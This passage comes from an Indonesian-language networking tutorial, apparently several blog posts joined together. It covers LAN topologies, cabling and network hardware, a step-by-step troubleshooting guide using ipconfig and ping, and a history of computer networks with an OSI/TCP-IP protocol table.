yang lebih tinggi, sampai ratusan megabit/detik.
1.1.1 Topologi LAN
1.1.1.1 Topologi Bus
Topologi Bus
Karakteristik topologi ini adalah sebagai Berikut :
Disebut juga Daisy Chain.
• Paling banyak dipakai karena sederhana dalam instalasi.
• Pada topologi bus, terdapat satu jalur umum yang berbentuk suatu garis lurus. Yang mana kemudian masing-masing node dihubungkan kedalam jalur garis tersebut.
• Transmisi dari suatu workstation dapat menyebar dan menjalar ke workstation lainnya, ini disebabkan setiap workstation menggunakan media transmisi yang sama.
• Dapat terjadi collision (dua paket data tercampur), karena sinyal mengalir dalam dua arah.
• Problem terbesar : jika salah satu segmen kabel putus, maka seluruh jaringan akan terhenti.
• Meskipun ada percabangan media transmisi, tetapi tidak membentuk jalur tertutup (closed loop).
• Berupa bentangan satu kabel yang kedua ujungnya ditutup oleh terminator dan terdapat node-node sepanjang kabel.
• Instalasi mudah dilakukan.
1.1.1.2 Topologi Star
Topologi Star
Karakteristik topologi ini sebagai berikut :
• Medium transmisi yang digunakan dalam tipe topologi ini, membentuk jalur tertutup (closed loop), dan setiap workstation mempunyai kabel tersendiri untuk langsung berhubungan dengan file server, sehingga seluruh sistem tidak akan gagal bila ada salah satu kabel pada workstation yang terganggu.
• Mudah dikembangkan, karena tiap node hanya memiliki kabel yang langsung terhubung kecentral node.
• Dapat digunakan kabel yang "lower grade", karena hanya menghandle satu lalu lintas data, biasanya digunakan kabel UTP.Node-node tersambung langsung ke suatu node pusat (biasa berupa hub), sehingga mudah dikembangkan.
• Keuntungannya dari topologi star adalah apabila satu kabel node terputus, node lainnya tidak terganggu
1.1.1.3 Topologi Ring
Topologi Ring
Karakteristik topologi ini sebagai berikut :
• Dalam topologi ring, setiap node dihubungkan dengan node lain, sehingga membentuk lingkaran.
• Karena sistem transmisinya menggunakan kabel yang saling menghubungkan beberapa workstation dengan file server dalam bentuk lingkaran tertutup, maka tipe ini memiliki kelemahan, yaitu apabila pada salah satu hubungan ada yang putus, maka keseluruhan hubungan terputus.
1.1.2. Hardware untuk LAN
1.1.2.1 Kartu jaringan (NIC)
Kartu jaringan
Kartu jaringan adalah seperangkat papan circuit yang ditancapkan pada motherboard sebuah PC yang berfungsi untuk menghubungkan computer dengan medium jaringan. Pada sebuah Laptop ataupun Notebook biasanya disebut PCMCIA card dengan bentuk yang tipis terlihat spt gambar berikut:
1.1.2.2 Kabel
Ada beberapa macam kabel yang digunakan untuk medium jaringan
1.1.2.2.1 Kabel STP
kabel STP terdiri 4 pasang kabel terpilin yang dibungkus dan mempunyai kecepatan transfer dari 10 – 100 Mbps dan panjang maksimum sekitar 100 m
konektor yang digunakan biasanya RJ 45
1.1.2.2.2 Kabel UTP
Kabel UTP sama seperti kabel UTP hanya saja tidak terbungkus, kabel jenis inilah yang banyak digunakan untuk membuat sebuah LAN.
1.1.2.2.3 Kabel Koaksial
Kabel koaksial terdiri dari sebuah kabel /kawat inti yang diselubungi oleh kabel seperti jala. Medium jenis ini menggunakan konektor BNC
Kabel ini mempunyai karakteristik sebagai berikut :
• Kecepatan transfer data maksimal 10 Mbps.
• Coaxial sering digunakan untuk thick ethernet, thin ethernet, dan ARCnet.
• Digunakan dalam topologi bus
• Panjang maksimum sekitar 500m
1.1.2.2.3 Kabel Fiber Optik
Kabel Fiber Optik
Kabel jenis ini mempunyai kelebihan dibandingkan dengan kabel yang lain yaitu transfer data lebih dari 100Mbps, panjang maksimum lebih dari 2000m namun kabel jenis ini harganya relatif mahal.

Trouble Shooting
Perangkat untuk membangun jaringan terdiri dari dua macam yaitu software dan hardware, sehingga jika terjadi masalah pada koneksi jaringan maka kita bisa melakukan pemeriksaan pada kedua hal tersebut.
Periksa hardware jaringan
• Periksa apakah kartu jaringan rusak secara fisik atau tidak
• Periksa apakah kabel sudah dipasang secara benar sesuai dengan prosedur
• Periksa apakah ada kerusakan pada Hub/konsetrator jaringan
Periksa software jaringan
• Periksa apakah kartu jaringan sudah diaktifkan melalui bios
• Periksa apakah kartu jaringan sudah ada drivernya yang terpasang
• Periksa apakah kartu jaringan sudah dikonfigurasikan IP-nya
Dengan melakukan pemeriksaan kedua hal tersebut maka kita bisa memilah jenis masalah yang timbul dan melakukan trouble shootig berdasar jenis permasalahan yang muncul.

3.1. Langkah isolasi kerusakan
Supaya tidak terjadi kerusakan saat pemakaian perangkat jaringan baik yangberupa hardware maupun software maka kita perlu memperhatikan beberapa hal.
Kerusakan perangkat keras
• Sebelum memasang perangkat jaringan, semua diperiksa secara cermat apakah terdapat cacat secara fisik pada perangkat tersebut.
• Bacalah manual dari tiap – tiap perangkat untuk mengetahui kemampuan kerja dari alat tersebut.
• Jika terdapat kerusakan pada alat, langsung lakukan penggantian alat.
• Jangan pernah memaksakan alat untuk bekerja melebihi kemampuan alat.
Kerusakan Software
• Gunakan driver perangkat jaringan yang sesuai dan direkomendasikan oleh pembuat perangkat jaringan.
• Jangan pernah membiarkan PC tanpa software anti virus, karena virus menyerang melalui jaringan dan bisa mengganggu koneksi jaringan.
• Gunakan software untuk monitoring kinerja jaringan sehingga bisa mendeteksi permasalahan koneksi lebih dini.
Untuk menghindari kerusakan yang lebih parah baik software maupun hardware maka pengawasan dan perawatan rutin secara berkala sangat diperlukan.

Troubleshooting Masalah Jaringan



Jika kita bertanggung jawab pada suatu jaringan infrastruktur corporate berskala besar, kita harus mempunyai kemampuan untuk menyelesaikan masalah yang berkaitan dengan jaringan baik masalah yang berdampak hanya pada sebuah komputer yang tidak bisa connect terhadap jaringan maupun masalah yang berimbas pada ambruknya system jaringan yang mempengaruhi system komunikasi jaringan secara global.
Jika sebuah komputer mengalami masalah komunikasi jaringan, banyak sebenarnya kemungkinan sumber masalah yang melatarbelakanginya. Permasalahan bisa jadi terletak pada stack protocol TCP/IP, bisa jadi terletak pada protocol layer data-link, atau mungkin saja dikarenakan masalah kerusakan piranti jaringan atau mungkin saja terputusnya kabel patch jaringan.
Mari kembali kepada scenario kita sebelumnya seperti pada gambar berikut ini.

Diagram Koneksi Jaringan
Scenario masalah jaringan berikut ini akan didiskusikan menurut jenis masalah yang mungkin saja terjadi pada sebuah komputer saja atau terjadi pada terganggunya jaringan corporate secara global, dengan menggunakan pendekatan troubleshooting masalah jaringan.
Masalah pada sebuah komputer
Kita misalkan sebuah komputer di kantor mining (harap mengacu pada gambar diatas) tidak dapat terhubung dengan jaringan, bagaimana anda melakukan troubleshooting masalah jaringan ini?
Untuk memudahkan troubleshooting masalah jaringan, sudah seharusnya anda mempunyai dokumentasi jaringan dari mulai diagram jaringan secara keseluruhan, system infrastructure fisik dan logical anda seperti system layanan directory, server domain name system, layanan DHCP server jaringan, dan lain-2.
Anda bisa memulai troubleshooting masalah jaringan ini sebagai berikut:
1. Apakah user bisa logon dan bisa mengakses resource jaringan?
a. TIDAK, apakah anda bisa logon menggunakan user admin account anda dan mengakses resource jaringan?
i. YA, periksa user account tersebut apakah masih valid, apakah user-name dan password sudah benar, apakah user-account tidak expired atau mungkin account lock-out yang biasanya dibarengi dengan system error waktu logon.
ii. TIDAK, berarti ada masalah, lanjut ke step 2
b. YA, berarti tidak ada masalah
2. Logon ke komputer dengan menggunakan local admin account, dan periksa konfigurasi protocol TCP/IP dengan command line “ipconfig /all” periksa hasilnya apa komputer sudah mendapatkan IP address dari DHCP server atau tidak? Periksa property TCP/IP nya apakah sudah di setup untuk menerima IP address otomatis “obtain an IP address automatically” dan juga “obtain DNS server automatically”
a. Jika setup nya salah, betulkan terlebih dahulu untuk menerima IP address secara automatis. Lompat kembali pada step 1.
b. Jika konfigurasi normal, tetapi tidak menerima IP address, lanjutkan pada step 3
3. Periksa apakah kabel patch ke tembok (kearah Swich) terputus atau tidak, atau mungkin lepas?
a. YA, jika kabel patch terputus, ganti dengan kabel yang bagus. Jika kabel terlepas, colokkan kembali dengan benar, lalu kembali ke step 1
b. TIDAK, periksa apakah indicator lampu led pada adapter LAN/NIC pada komputer berkedip atau tidak, biasanya ada dua lampu led – lampu jaringan yang selalu berkedip dan lampu power yang biasanya berwarna hijau konstan. Jika kedua lampu led indicator nyala, maka tidak ada masalah dengan jaringan. Apalah lampu indicator jaringan berkedip atau tidak?
i. YA, seharusnya tidak ada masalah dengan jaringan.
ii. TIDAK, teruskan ke step 4
4. Logon dengan menggunakan account admin local dan periksa apakah “LAN Card” di-disabled?
a. YA, berarti masalahnya LAN card disabled, anda bisa klik kanan dan pilih opsi “enabled” terus test lagi dengan melakukan “ipconfig /all” apakah IP address sudah diterima? Kalau belum, coba lagi dengan command “ipconfig /renew”, jika sudah dapat berarti sudah OK.
b. TIDAK, lanjutkan ke step 5
5. Ganti kabel patch dengan yang baru/bagus, apalah sekarang anda bisa logon dan mengakses resource jaringan?
a. YA, maka sampai disini anda menyelesaikan masala.
b. TIDAK, ada tiga kemungkinan sumber masalah:
i. NIC adapter rusak
ii. Port Switch faulty
iii. Kabel LAN antara sambungan di tembok ke Swicth bermasalah, bisa jadi kabel tersebut diserang / digigit tikus.
6. Jika anda ada LAN tester, itu akan memudahkan anda, anda bisa melakukan testing ke port RJ45 di wall-jack (sambungan ditembok), apakah ada sinyal LAN?
a. YA, jika line jaringan sudah OK, maka bisa dipastikan LAN adapter rusak. Ganti NIC adapter dan lompat ke step 1.
b. TIDAK, anda bisa memastikan sekarang bahwa sumber masalah adalah kabel antara sambungan di tembok (wall-jack) dengan Switch bermasalah. Anda bisa meminta teknisi kabel untuk menarik kabel baru antara wall-jack ke switch.
7. Selamat anda telah menyelesaikan troubleshooting masalah jaringan pada sebuah komputer yang tidak bisa mengkases jaringan.
Satu blok gedung tidak bisa mengakses jaringan
Troubleshooting masalah jaringan yang berdampak pada satu blok gedung tidak bisa mengakses jaringan akan lebih mudah troubleshootingnya akan tetapi lebih lama memperbaikinya. Jika saja anda membuat system redundansi link antar dua gedung tersebut, maka satu kabel bermasalah tidak akan membuat jaringan backbone anda terputus total, akan tetapi tetap saja anda harus memperbaikinya.
Lihat pada diagram diatas, antar dua gedung ditarik dua kabel backbone redundansi dengan mengaktifkan protocol STP (spanning tree protocol) pada kedua Switch sehingga jika terjadi masalah/terputus salah satu kabel, maka system jaringan hanya memerlukan beberapa detk saja untuk mengaktifkan kabel redundansi satunya lagi sehingga jaringan aktif kembali. Inilah fungsi protocol STP yang bekerja secara automatis, akan tetapi jika protocol STP ini tidak aktif maka anda akan mendapatkan masalah dengan broadcast storm, paket akan berputar-putar tanpa henti sampai kecapekan sendiri, da akibatnya jaringan anda menjadi super lambat.
Sekarang bagaimana anda bisa melakukan troubleshooting masalah jaringan jika seluruh jaringan local anda tidak bisa mengakses keluar Internet? Atau bagaimana anda melakukan troubleshooting jika telecommuter tidak bisa mengakses jaringan corporate secara remote?
Gunakan tool seperti: tracert; ping; dan pathping; ketiganya sangat efektif untuk membantu kita melakukan troubleshooting masalah jaringan antar site. Mungkin saja ada masalah dengan circuit switch frame relay di central office, atau jaringan leasing point-to-point anda ke ISP, atau bisa saja ada masalah dengan jaringan satellite anda (jika anda di remote site). Dan biasanya anda perlu troubleshooting pada layer network pada model referensi OSI.

Selasa, 23 Agustus 2011

Jaringan Internet jaman sekarang sudah berkembang pesat. Sesuai dengan selogan "Dunia ada di gengam tangan anda" merupakan selogan dari teknologi yang pesat yaitu internet. Jaringan Internet merupakan jaringan yang kompleks dan mengamgumkan di dunia maya sekarang itu merupakan pengertian jaringan internet. Manfaat Internet ada  yang positif dan ada juga negatif. Bahkan anak SD sekarang sudah bisa mengakses Internet.

Internet adalah jaringan komputer yang bisa dikategorikan sebagai WAN, menghubungkan berjuta komputer diseluruh dunia, tanpa batas negara, dimana setiap orang yang memiliki komputer dapat bergabung ke dalam jaringan ini hanya dengan melakukan koneksi ke penyedia layanan internet (internet service provider / ISP) seperti Telkom Speedy, atau IndosatNet. Internet dapat diterjemahkan sebagai international networking (jaringan internasional), karena menghubungkan komputer secara internasional, atau sebagai internetworking (jaringan antar jaringan) karena menghubungkan berjuta jaringan diseluruh dunia.

Sejarah internet Indonesia dimulai pada awal tahun 1990-an. Saat itu jaringan internet di Indonesia lebih dikenal sebagai paguyuban network, dimana semangat kerjasama, kekeluargaan & gotong royong sangat hangat dan terasa di antara para pelakunya. Agak berbeda dengan suasana Internet Indonesia pada perkembangannya kemudian yang terasa lebih komersial dan individual di sebagian aktivitasnya, terutama yang melibatkan perdagangan Internet. Sejak 1988, ada pengguna awal Internet di Indonesia yang memanfaatkan CIX (Inggris) dan Compuserve (AS) untuk mengakses internet.

HARDWARE JARINGAN KOMPUTER




Dengan berkembangnya teknologi komputer dan komunikasi suatu model komputer tunggal yang melayani seluruh tugas-tugas komputasi suatu organisasi kini telah diganti dengan sekumpulan komputer yang terpisah-pisah akan tetapi saling berhubungan dalam melaksanakan tugasnya, sistem seperti ini disebut jaringan komputer (computer network). Dalam pembahasan ini kita akan menggunakan istilah jaringan komputer untuk mengartikan suatu himpunan interkoneksi sejumlah komputer yang autonomous.

Hardware jaringan komputer terdiri dari:

Terminal

Terdapat lima jenis terminal dan keyboard adalah terminal yang umum dan paling populer.

Terminal Keyboard adalah terminal input yang sangat populer diantara pemakai komputer. User dapat menggunakan keyboard mengentri data, memberikan intruksi tertentu untuk menerbitkan laporan dsb.

Terminal Telephone Tombol : komputer juga dapat dilengkapi dengan alat respon audio. Dapat mengirimkan pesan yang dapat didengar oleh pemakai di telephone tombol. Penekanan tombol digunakan untuk mengirimkan data dan intruksi ke komputer.

Terminal Titik penjualan (point of sale) Kita juga dapat melihat bagaimana pembaca charakter optik digunakan pada pasar swalayan. Terminal ini menyediakan cara memasukan data transaksi ke dalam database pada saat penjuala (point of sale). Karena alasan tersebut terminal ini dinamakan terminal Point of sale (POS)

Terminal Pengumpul Data. Suatau jenis khusus terminal dirancang untuk digunakan oleh pekerja pabrik. Alat yang dikenal sebagai terminal pengumpul data (data collection terminal) digunakan untuk mengumpulkan data, menjelasakan kehadiran dan kinerja kerja pegawai. Alat OCR digunakan untuk membaca charakter dan dokument yang menyertai pekerjaan yang berjalan di dalam pabrik.

Terminal khusus yaitu terminal yang dirancang khusus untuk keperlua tertentu seperti cash register yang dilengkapi dengan tombol-tombol khusus. Satu tombol untuk satu jenis penjual

NIC (Network Interface Card)

Kartu jaringan atau Lan card dipasang pada setiap komputer yang akan dihubungkan ke suatu jaringan computer. Banyak jenis dan merk kartu jaringan yang tersedia di pasar, namun beberapa hal pokok yang perlu diketahui dari kartu jaringan yaitu type kartu ISA atau PCI dengan kecepatan 10 atau 10/100 Mbps, harus disesuaikan dengan tipe Ethernet HUB atau switching yang akan digunakan, jenis protocol dan jenis kabel yang didukungnya disamping itu juga mengesampingkan kwalitas produk. Komputer jenis terbaru tidak dilengkapi dengan slot ISA bahkan Network Interface umumnya merupakan Onboard system artinya sudah tersedia pada mainboard sehingga tidak perlu lagi dipasang Lan Card

Sesuai dengan besarnya tingkat kebutuhan akan jaringan komputer, sudah banyak mainboard komputer jenis terbaru dilengkapi kartu jaringan secara on board. Kwalitasnya bagus namun penulis berpendapat lebih baik menggunakan kartu jaringan yang terpisah. Salah satu keuntungannya adalah dapat memilih merk tertentu dan mudah diganti apabila terjadi kerusakan.

Hub atau Concentrator

Hub adalah perangkat jaringan yang terdiri dari banyak port untuk menghubungkan Node atau titik sehingga membentuk jaringan yang saling terhubung dalam topologi star. Jika jumlah port yang tersedia tidak cukup untuk menghubungkan semua komputer yang akan dihubungkan ke dalam satu jaringan dapat digunakan beberapa hub yang dihubungkan secara up-link.

Port yang tersedia biasanya sampai 8, 16, 24 atau lebih banyak sesuai kebutuhan Anda. Untuk kecepatan, Anda dapat menggunakan HUB 10 atau Switch 10/100. Sebaiknya menggunakan 10/100 karena dapat digunakan untuk jaringan berkecepatan maksimal 10 atau 100. Hub ada yang mendukung pemggunaan kabel coax yang menukung topologi BUS dan UTP yang mendukung topologi STAR. Namun type terbaru cenderung hanya menyediakan dukungan untuk penggunaan kabel UTP.

lihat juga

Konektor UTP (RJ-45)

Untuk menghubungkan kabel UTP diperlukan konektor RJ-45 atau sejenis jack yang bentuknya mirip dengan jack kabel telepon namun memiliki lebih banyak lubang kabel. Konektor tersebut dipasang di kedua ujung kabel dengan peralatan Tang khusus UTP. Namun jika belum bisa memasangnya, Anda dapat meminta sekaligus pemasang-an pada saat membeli kabel UTP

Kabel UTP

Ada beberapa jenis kabel yang digunakan dalam jaringan network, namun yang paling banyak dipakai pada private network/Local Area Network saat ini adalah kabel UTP.

Bridge

Bridge digunakan untuk menghubungan antar jaringan yang mempunyai protokol yang sama. Hasil akhirnya adalah jaringan logis tunggal. Bridge juga dapat digunakan jaringan yang mempunyai media fisik yang berbeda. Contoh jaringan yang menggunakan fiber obtik dengan jaringan yang menggunakan coacial.

Bridge mempelajari alamat tujuan lalulintas yang melewatinya dan mengarahkan ke tujuan. Juga digunakan untuk menyekat jaringan. Jika jaringan diperlambat dengan adanya lalulintas yang penuh maka jaringan dapat dibagi menjadi dua kesatuan yang lebih kecil.

Switch

Merupakan pengembangan dari konsep Bridge. Ada dua arsitektur dasar yang digunakan pada switch, yaitu cut-through dan store and forward. Switch cut-through mempunyai kelebihan di sisi kecepatan karena ketika sebuah paket datang, switch hanya memperhatikan alamat tujuan sebelum diteruskan ke segmen tijuannya, sedangkan switch store and forward merupakan kebalikannya. Switch ini menerima dan memeriksa seluruh isi paket sebelum meneruskannya ke tujuan dan untuk memeriksa satu paket merlukan waktu, tetapi proses ini memungkinkan switch mengetahui adanya kerusakan pada paket data dan mencegahnya agar tidak mengganggu jaringan.

Switch terdapat beberapa kelebihan karena semua segmen jaringan memiliki bandwidth 10 Mbps penuh. Tidak terbagi seperti share network pada penggunaan Hub.

Cluster Control Unit

Cluster Control Unit membangun hubungan antara terminal yang dikendalikannya dengan perlatan-peralatan dan jaringan. Alat ini memungkinkan beberapa terminal berbagi satu printer atau mengakses beberapa komputer melalui jaringan yang bebeda. Cluster Control Unit dapat pula mengerjakan pemeriksaan kesalahan dan pengubahan kode.

Multiplexer

Saat beberapa terminal harus berbagi satu saluran pada saat yang sama, multiplexer dapat ditambahkan pada tiap ujung. Multiplexer adalah suatu alat yang memungkinkan pengiriman dan penerimaan bebrpa pesan secara serentak. Penambahan multiplexer berdampak seperti mengubah jalan satu jalur menjadi jalur bebas hambatan dengan beberapa jalur.

Pengaturan nomor port dan protokol yang mengirim data pada modul sofware yang benar didalam host.

Front-end Processor

Front-end Processor menangani lalulintas Jaringan komputer yang masuk dan keluar dari host komputer. Kedua komputer tersebut dapat merupakan jenis apapun, tetapi configurasi yang umum terdiri dari sejenis komputer mini khusus yang berfungsi sebagai front-end processor dan sebuah mainframe yang menjadi host.

Front-end Processor berfungsi sebagai unit input dari host dengan mengumpuklkan pesan-pesan yang masuk dan menyiapkan data bagi host. Front-end Processor juga berfungsi sebagai unit output dari host dengan menerima pesan-pesan untuk transmisi ke terminal.

Walau kecepatan transmisi antara saluran dan front end Processor relatif lambat ( dalam banyak kasus bit-bit ditransmisikan secara serial ) kecepatan tarnsmisi front-end processor dengan host dapat berlangsung secara cepat ( beberapa bit ditransmisikan secara paralel).

Sebagian front-end processor melakukan message switching dengan mengatur rute (routing) pesan dari suatu terminal ke yang lain tanpa melibatkan host. Jika karena suatu hal terminal penerima tidak dapat menerima pesan (mungkin sedangan digunakan atau rusak) front-end processor dapat menyimpan pesan tersebut dalam penyimpanan sekunder dan mengirimkannya nanti. Kemampuan ini disebut simpan dan teruskan (store and forward).

Host

Host mengerjakan pemrosesan data untuk jaringan . Pesan-pesan yang masuk ditangani dengan cara yang sama dengan data yang di terima dari unit unit jenis apapun. Setelah pemrosesan pesan dapat ditransmisikan kembali ke front-end processor untuk routing.

Router

Router tidak mempunyai kemampuan untuk mempelajari, namun dapat menentukan path (alur) data antara dua jaringan yang paling eficien. Router beroperasi pada lapisan Network (lapisan ketiga OSI.). Router tidak mempedulikan topologi dan tingkat acces yang digunakan oleh jaringan. Karena ia beroperasi pada lapisan jaringan. Ia tidak dihalangi oleh media atau protokol komunikasi. Bridge mengetahui tujuan ahir paket data, Router hanya mengetahui dimana router berikutnya ditempatkan. Ia dapat digunakan untuk menghubungkan jaringan yang menggunakan protokol tingkat tinggi yang sama.

Jika paket data tiba pada router, ia menentukan rute yang terbaik bagi paket dengan mengadakan pengecekan pada tabel router. Ia hanya melihat hanya melihat paket yang dikirimkan kepadanya oleh router sebelumnya.

Brouter

Adalah yang menggabungkan teknologi bridge dan router. Bahkan secara tidak tepat seringkali disebut sebagai router multiprotokol. Walau pada kenyataannya ia lebih rumit dari pada apa yang disebut router multiprotokol yang sebenarnya.

Getway

Gateway dilengkapi dengan lapisan 6 atau 7 yang mendukung susunan protokol OSI. Ia adalah metode penyambungan jaringan ke jaringan dan jaringan ke host yang paling canggih. Gateway dapat digunakan untuk menghubungkan jaringan yang mempunyai arsitektur berbeda misalnya PC berdasarkan Novell dengan jaringan SNA atau Ethernet

Modem

Satu-satunya saat modem tidak diperlukan adalah saat telephone tombol digunakan sebagai terminal. Semua saluran jaringan komputer lain memerlukan modem pada tiap ujungnya. Modem dirancang untuk beroperasi pada kecepatan tertentu biasanya 300, 1200, 2400, 4800 atau 96000 bit per detik dan seterusnya kecepatan modem menentukan kecepatan transmisi data.

ADSL adalah type modem untuk penggunaan accses internet kecepatan tinggi. Umumnya modem ADSL merupakan integrasi dari modem, firewall dan ethernet switch serta router dan mungkin juga dengan transiever. Modem ADSL bekerja pada frekwensi yang berbeda dengan frekwensi yang digunakan dalam percakapan telephon sehingga saluran telephon dapat digunakan untuk percapapan bersamaan dengan penggunaan transmisi data melelalui modem ADSL.

Radio

Transmisi data juga dilakukan melalui frekwensi radio seperti yang digunalan pada jaringan perbankan, Travel, warnet. Peralatan ini masih dikuasai perusahaan penyedia layanan public (provider) seperti PT Lintas Artha, Indosat, Telkomsel. Fren. Untuk lingkup lebih kecil tersedia werless untuk pembuatan jaringan lokal tanpa kabel. Misalnya dengan Modem ADSL yang dilengkapi dengan werless router dapat digunakan untuk jaringngan lokal pada ruangan. Hanya saja kemampuan werles tidak dapat atau terganggu oleh partisi terutama partisi beton. sehingga tidak efektif digunakan untuk jaringgan lokal suatu perusahaan dimana client computer tersebar di dalam ruangan tertutup.

JARINGAN
    Jaringan komputer adalah sebuah kumpulan komputer, printer dan peralatan lainnya yang terhubung dalam satu kesatuan. Informasi dan data bergerak melalui kabel-kabel atau tanpa kabel sehingga memungkinkan pengguna jaringan komputer dapat saling bertukar dokumen dan data, mencetak pada printer yang sama dan bersama-sama menggunakan hardware/software yang terhubung dengan jaringan. Setiap komputer, printer atau periferal yang terhubung dengan jaringan disebut node. Sebuah jaringan komputer dapat memiliki dua, puluhan, ribuan atau bahkan jutaan node.
Daftar Isi:
SEJARAH JARINGAN KOMPUTER
    Konsep jaringan komputer lahir pada tahun 1940-an di Amerika dari sebuah proyek pengembangan komputer MODEL I di laboratorium Bell dan group riset Harvard University yang dipimpin profesor H. Aiken. Pada mulanya proyek tersebut hanyalah ingin memanfaatkan sebuah perangkat komputer yang harus dipakai bersama. Untuk mengerjakan beberapa proses tanpa banyak membuang waktu kosong dibuatlah proses beruntun (Batch Processing), sehingga beberapa program bisa dijalankan dalam sebuah komputer dengan dengan kaidah antrian.
    Ditahun 1950-an ketika jenis komputer mulai membesar sampai terciptanya super komputer, maka sebuah komputer mesti melayani beberapa terminal (lihat Gambar 1) Untuk itu ditemukan konsep distribusi proses berdasarkan waktu yang dikenal dengan nama TSS (Time Sharing System), maka untuk pertama kali bentuk jaringan (network) komputer diaplikasikan. Pada sistem TSS beberapa terminal terhubung secara seri ke sebuah host komputer. Dalam proses TSS mulai nampak perpaduan teknologi komputer dan teknologi telekomunikasi yang pada awalnya berkembang sendiri-sendiri.
Gambar 1 Jaringan komputer model TSS
    Memasuki tahun 1970-an, setelah beban pekerjaan bertambah banyak dan harga perangkat komputer besar mulai terasa sangat mahal, maka mulailah digunakan konsep proses distribusi (Distributed Processing). Seperti pada Gambar 2, dalam proses ini beberapa host komputer mengerjakan sebuah pekerjaan besar secara paralel untuk melayani beberapa terminal yang tersambung secara seri disetiap host komputer. Dala proses distribusi sudah mutlak diperlukan perpaduan yang mendalam antara teknologi komputer dan telekomunikasi, karena selain proses yang harus didistribusikan, semua host komputer wajib melayani terminal-terminalnya dalam satu perintah dari komputer pusat.
Gambar 2 Jaringan komputer model distributed processing
    Selanjutnya ketika harga-harga komputer kecil sudah mulai menurun dan konsep proses distribusi sudah matang, maka penggunaan komputer dan jaringannya sudah mulai beragam dari mulai menangani proses bersama maupun komunikasi antar komputer (Peer to Peer System) saja tanpa melalui komputer pusat. Untuk itu mulailah berkembang teknologi jaringan lokal yang dikenal dengan sebutan LAN. Demikian pula ketika Internet mulai diperkenalkan, maka sebagian besar LAN yang berdiri sendiri mulai berhubungan dan terbentuklah jaringan raksasa WAN.
JENIS JARINGAN KOMPUTER
Secara umum jaringan komputer dibagi atas lima jenis, yaitu;
1. Local Area Network (LAN)
Local Area Network (LAN), merupakan jaringan milik pribadi di dalam sebuah gedung atau kampus yang berukuran sampai beberapa kilometer. LAN seringkali digunakan untuk menghubungkan komputer-komputer pribadi dan workstation dalam kantor suatu perusahaan atau pabrik-pabrik untuk memakai bersama sumberdaya (misalnya printer) dan saling bertukar informasi.

2. Metropolitan Area Network (MAN)
Metropolitan Area Network (MAN), pada dasarnya merupakan versi LAN yang berukuran lebih besar dan biasanya menggunakan teknologi yang sama dengan LAN. MAN dapat mencakup kantor-kantor perusahaan yang letaknya berdekatan atau juga sebuah kota dan dapat dimanfaatkan untuk keperluan pribadi (swasta) atau umum. MAN mampu menunjang data dan suara, bahkan dapat berhubungan dengan jaringan televisi kabel.

3. Wide Area Network (WAN)
Wide Area Network (WAN), jangkauannya mencakup daerah geografis yang luas, seringkali mencakup sebuah negara bahkan benua. WAN terdiri dari kumpulan mesin-mesin yang bertujuan untuk menjalankan program-program (aplikasi) pemakai.

4. Internet
Sebenarnya terdapat banyak jaringan didunia ini, seringkali menggunakan perangkat keras dan perangkat lunak yang berbeda-beda. Orang yang terhubung ke jaringan sering berharap untuk bisa berkomunikasi dengan orang lain yang terhubung ke jaringan lainnya. Keinginan seperti ini memerlukan hubungan antar jaringan yang seringkali tidak kampatibel dan berbeda. Biasanya untuk melakukan hal ini diperlukan sebuah mesin yang disebut gateway guna melakukan hubungan dan melaksanakan terjemahan yang diperlukan, baik perangkat keras maupun perangkat lunaknya. Kumpulan jaringan yang terinterkoneksi inilah yang disebut dengan internet.

5. Jaringan Tanpa Kabel
Jaringan tanpa kabel merupakan suatu solusi terhadap komunikasi yang tidak bisa dilakukan dengan jaringan yang menggunakan kabel. Misalnya orang yang ingin mendapat informasi atau melakukan komunikasi walaupun sedang berada diatas mobil atau pesawat terbang, maka mutlak jaringan tanpa kabel diperlukan karena koneksi kabel tidaklah mungkin dibuat di dalam mobil atau pesawat. Saat ini jaringan tanpa kabel sudah marak digunakan dengan memanfaatkan jasa satelit dan mampu memberikan kecepatan akses yang lebih cepat dibandingkan dengan jaringan yang menggunakan kabel.

MODEL REFERNSI OSI DAN STANDARISASI
    Untuk menyelenggarakan komunikasi berbagai macam vendor komputer diperlukan sebuah aturan baku yang standar dan disetejui berbagai fihak. Seperti halnya dua orang yang berlainan bangsa, maka untuk berkomunikasi memerlukan penerjemah/interpreter atau satu bahasa yang dimengerti kedua belah fihak. Dalam dunia komputer dan telekomunikasi interpreter identik dengan protokol. Untuk itu maka badan dunia yang menangani masalah standarisasi ISO (International Standardization Organization) membuat aturan baku yang dikenal dengan nama model referensi OSI (Open System Interconnection). Dengan demikian diharapkan semua vendor perangkat telekomunikasi haruslah berpedoman dengan model referensi ini dalam mengembangkan protokolnya.
    Model referensi OSI terdiri dari 7 lapisan, mulai dari lapisan fisik sampai dengan aplikasi. Model referensi ini tidak hanya berguna untuk produk-produk LAN saja, tetapi dalam membangung jaringan Internet sekalipun sangat diperlukan. Hubungan antara model referensi OSI dengan protokol Internet bisa dilihat dalam Tabel 1.
Tabel 1. Hubungan referensi model OSI dengan protokol Internet
MODEL OSI TCP/IP PROTOKOL TCP/IP
NO. LAPISAN NAMA PROTOKOL KEGUNAAN
7 Aplikasi Aplikasi
DHCP (Dynamic Host Configuration Protocol)
Protokol untuk distribusi IP pada jaringan dengan jumlah IP yang terbatas
DNS (Domain Name Server) Data base nama domain mesin dan nomer IP
FTP (File Transfer Protocol) Protokol untuk transfer file
HTTP (HyperText Transfer Protocol) Protokol untuk transfer file HTML dan Web
MIME (Multipurpose Internet Mail Extention) Protokol untuk mengirim file binary dalam bentuk teks
NNTP (Networ News Transfer Protocol) Protokol untuk menerima dan mengirim newsgroup
POP (Post Office Protocol)
Protokol untuk mengambil mail dari server
SMB (Server Message Block)
Protokol untuk transfer berbagai server file DOS dan Windows
6 Presentasi SMTP (Simple Mail Transfer Protocol) Protokol untuk pertukaran mail
SNMP (Simple Network Management Protocol) Protokol untuk manejemen jaringan
Telnet Protokol untuk akses dari jarak jauh
TFTP (Trivial FTP) Protokol untuk transfer file
5 Sessi NETBIOS (Network Basic Input Output System) BIOS jaringan standar
RPC (Remote Procedure Call) Prosedur pemanggilan jarak jauh
SOCKET Input Output untuk network jenis BSD-UNIX
4 Transport Transport TCP (Transmission Control Protocol) Protokol pertukaran data berorientasi (connection oriented)
UDP (User Datagram Protocol) Protokol pertukaran data non-orientasi (connectionless)
3 Network Internet IP (Internet Protocol) Protokol untuk menetapkan routing
RIP (Routing Information Protocol) Protokol untuk memilih routing
ARP (Address Resolution Protocol) Protokol untuk mendapatkan informasi hardware dari nomer IP
RARP (Reverse ARP) Protokol untuk mendapatkan informasi nomer IP dari hardware
